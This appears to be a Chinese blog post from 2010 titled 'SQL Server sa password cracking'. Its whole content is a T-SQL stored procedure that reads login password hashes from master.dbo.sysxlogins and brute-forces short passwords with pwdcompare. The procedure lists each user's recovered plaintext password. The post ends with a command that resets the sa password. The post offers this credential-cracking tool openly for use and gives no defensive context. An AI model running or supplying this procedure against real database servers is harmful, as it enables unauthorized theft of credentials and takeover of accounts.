SQL Server sa密码破解

作者在 2010-11-16 14:56:25 发布以下内容
create proc p_GetPassword

@username sysname=null, --用户名,如果不指定,则列出所有用户

@pwdlen int=2 --要破解的密码的位数,默认是2位及以下的

as

set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

select top 255 id=identity(int,0,1) into #t from syscolumns

alter table #t add constraint PK_#t primary key(id)


select name,password

,type=case when xstatus&2048=2048 then 1 else 0 end

,jm=case when password is null then 1 else 0 end

,pwdstr=cast('' as sysname)

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)


declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)

declare @l int

select @l=0

,@s1='char(aa.id)'

,@s2='cast(aa.id as varchar)'

,@s3=',#t aa'

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)

begin

select @l=@l+1

,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'

,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'

,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

end

select 用户名=name,密码=pwdstr,密码ASCII=pwd

from #pwd
go
exec sp_password null,'s12',sa
SQL Server数据库 | 阅读 687 次
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